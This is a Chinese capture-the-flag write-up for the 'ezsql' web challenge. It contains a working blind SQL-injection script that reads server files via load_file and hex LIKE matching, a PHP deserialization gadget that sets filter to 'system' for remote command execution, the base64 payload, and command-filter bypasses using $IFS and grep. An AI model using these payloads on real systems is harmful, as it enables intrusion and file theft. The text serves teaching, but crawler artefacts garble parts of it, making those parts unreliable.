安恆杯11月月賽web題目-ezsql詳細記錄

  經過此題目能夠學習到php

  1.經過load_file+like來盲注獲取文件內容html

  2.php魔術方法__get函數的用法mysql

  3.bypass  linux命令過濾linux

  

  題目中給了註冊和登陸的功能,沒有源碼泄露sql

  

  先註冊一個用戶看下進入用戶界面有什麼其餘的功能,此時題目中除了顯示用戶名和id號之外沒有其餘的功能,那麼目的很明確,應該是sql注入題目,嘗試了select,被過濾,單引號被過濾,所以嘗試if條件返回正常,可是沒有select意味着不能從數據庫中讀取信息,那麼除了讀取數據庫中的信息,mysql也支持load_dile函數來讀取任意的文件,只是這裏沒有單引號,因此須要咱們將文件名以16進制編碼的形式來表示,而且咱們可使用like來進行模糊查詢來fuzzing出文件的內容的16進製表示。數據庫

   

  

  咱們能夠先將要讀取的文件進行16進制編碼表示,好比讀取/var/www/html/index.php 那麼腳本以下:數組

 1 #coding:utf-8
 2 import requests  3 import string  4 payload=string.printable  5 payload=list(payload)  6 file =""
 7 db = ""
 8 while True:  9     n = 1
10     end = len(payload) 11     #print end
12     for i in payload: 13         req = requests.session() 14         header = { 15             "Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"
16  } 17         exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"
18         url = "http://101.71.29.5:10015/user/user.php?id="+exp 19         i = i.encode("hex") 20         url = url.format(temp=db+i) 21         res = req.get(url=url,headers=header) 22         #print res.status_code
23         if "user_id:1" in res.text: 24             print url 25             db = db + i 26             file = file + i.decode("hex") 27             print file 28             break
29         n = n + 1
30         if n == end: 31             print db 32             exit(0)

  

 

由於又包含了config/config.php,因此利用一樣的方法來讀取/var/www/html/config/config.php,只須要將腳本中的load_file的參數換爲這個文件的16進制編碼便可,將跑出來的16進制在線解碼就能夠獲得源碼了:session

 

獲得源碼之後咱們能夠審計一下源碼看看裏面是否存在漏洞:函數

其中的/var/www/html/config/config.php中的內容對應的 16進製爲學習

3C3F7068700A24636F6E666967203D20756E73657269616C697A65286261736536345F6465636F64652824636F6E66696729293B0A696628697373657428245F4745545B2770275D29297B0A2020202024703D245F4745545B2770275D3B0A2020202024636F6E6669672D3E24703B0A7D0A636C61737320436F6E6669677B0A20202020707269766174652024636F6E6669673B0A20202020707269766174652024706174683B0A202020207075626C6963202466696C7465723B0A202020207075626C69632066756E6374696F6E205F5F636F6E7374727563742824636F6E6669673D2222297B0A202020202020202024746869732D3E636F6E666967203D2024636F6E6669673B0A20202020202020206563686F203132333B0A202020207D0A202020207075626C69632066756E6374696F6E20676574436F6E66696728297B0A202020202020202069662824746869732D3E636F6E666967203D3D202222297B0A20202020202020202020202024636F6E666967203D20697373657428245F504F53545B27636F6E666967275D293F245F504F53545B27636F6E666967275D3A22223B0A20202020202020207D0A202020207D0A202020207075626C69632066756E6374696F6E2053657446696C746572282476616C7565297B0A2F2F20202020202020206563686F202476616C75653B0A092476616C75653D7761665F65786563282476616C7565293B200A20202020202020207661725F64756D70282476616C7565293B0A0969662824746869732D3E66696C746572297B0A202020202020202020202020666F72656163682824746869732D3E66696C746572206173202466696C746572297B0A0A202020202020202020202020202020200A20202020202020202020202020202020246172726179203D2069735F6172726179282476616C7565293F61727261795F6D6170282466696C7465722C2476616C7565293A63616C6C5F757365725F66756E63282466696C7465722C2476616C7565293B0A2020202020202020202020207D0A20202020202020202020202024746869732D3E66696C746572203D20617272617928293B0A20202020202020207D656C73657B0A20202020202020202020202072657475726E2066616C73653B0A20202020202020207D0A202020202020202072657475726E20747275653B0A202020207D0A202020207075626C6963206674696F6E205F5F67657428246B6579297B0A20202020202020202F2F7661725F64756D7028246B6579293B0A0924746869732D3E53657446696C74657228246B6579293B0A2020202020202020646965282222293B0A202020207D0A7D0A

在線解碼可得源碼

 

 

完整代碼以下:

 1 <?php  2 $config = unserialize(base64_decode($config));  3 if(isset($_GET['p'])){  4     $p=$_GET['p'];  5     $config->$p;  6 }  7 class Config{  8     private $config;  9     private $path; 10     public $filter; 11     public function __construct($config=""){ 12         $this->config = $config; 13         echo 123; 14  } 15     public function getConfig(){ 16         if($this->config == ""){ 17             $config = isset($_POST['config'])?$_POST['config']:""; 18  } 19  } 20     public function SetFilter($value){ 21 // echo $value;
22         $value=waf_exec($value); 23         var_dump($value); 24         if($this->filter){ 25             foreach($this->filter as $filter){ 26                 $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value); 27  } 28             $this->filter = array(); 29         }else{ 30             return false; 31  } 32         return true; 33  } 34     public function __get($key){ 35         //var_dump($key);
36     $this->SetFilter($key); 37         die(""); 38  } 39 } 40 
41 ?>

 分析一下這一段代碼,首先由於index.php中Cookie變量中的CONFIG變量是咱們能夠控制的,那麼跟蹤CONFIG變量,能夠發現執行了解序列化的操做,那麼而且還存在能夠控制的$p變量,而且在解序列化了之後會訪問$p變量對應的屬性,這個屬性是任意的。

又由於在代碼中定義了__get()魔術函數,這個函數的做用以下:

能夠看到__get方法將能夠用來訪問私有成員屬性,而且當咱們訪問一個不存在的屬性的時候也將調用這個__get函數,因此這裏是關鍵點,那麼咱們能夠傳給$p變量任何值,都會觸發__get()函數

在__get函數中,又將會對傳入的屬性名字調用set_filter函數,跟蹤一下,首先會對該$p值進行一個過濾,而後判斷屬性屬性fliter是否存在,若存在將遍歷filter變量,若是$p值爲數組則調用array_map函數,不然調用call_user_func函數,這兩個函數都可以調用咱們逍遙調用的任意的函數,即存在RCE,咱們能夠控制$filter的值爲命令執行的函數,能夠控制$p值爲想要執行的命令,就能夠執行任意命令了。

因此咱們執行以下payload:

 1 <?php  2 class Config{  3     private $config;  4     private $path;  5     public $filter;  6     public function __construct($config=""){  7         $this->config = $config;  8  }  9     public function getConfig(){ 10         if($this->config == ""){ 11             $config = isset($_POST['config'])?$_POST['config']:""; 12  } 13  } 14     public function SetFilter($value){ 15 // echo $value;
16         $value=waf_exec($value); 17         var_dump($value); 18         if($this->filter){ 19             foreach($this->filter as $filter){ 20                 $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value); 21  } 22             $this->filter = array(); 23         }else{ 24             return false; 25  } 26         return true; 27  } 28     public function __get($key){ 29         //var_dump($key);
30     $this->SetFilter($key); 31         die(""); 32  } 33 } 34 $tr1ple = new Config(); 35 $tr1ple->filter = array('system'); 36 echo base64_encode(serialize($tr1ple)); 37 ?>

經過實例化Config類,而且給filter賦值爲咱們想要執行的函數,輸出獲得,並在burp中將其賦值給Cookie中的CONFIG變量便可:

Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

此時能夠看到當前目錄下存在flag2333文件,在嘗試cat,ls *後發現cat被過濾了,空格也被過濾了,那麼可使用$IFS來替代空格,此時能夠看到flag.php在flag2333文件夾下面

 

ls$../之後發現/也被過濾了,那麼就沒有辦法進入到flag2333文件夾了,那麼如何獲得flag,可使用grep -ir 「flag」 *

 

 

*表示當前目錄,也就是咱們的html目錄下的全部文件,咱們匹配flag字符串,便可得到flag。

相關文章
相關標籤/搜索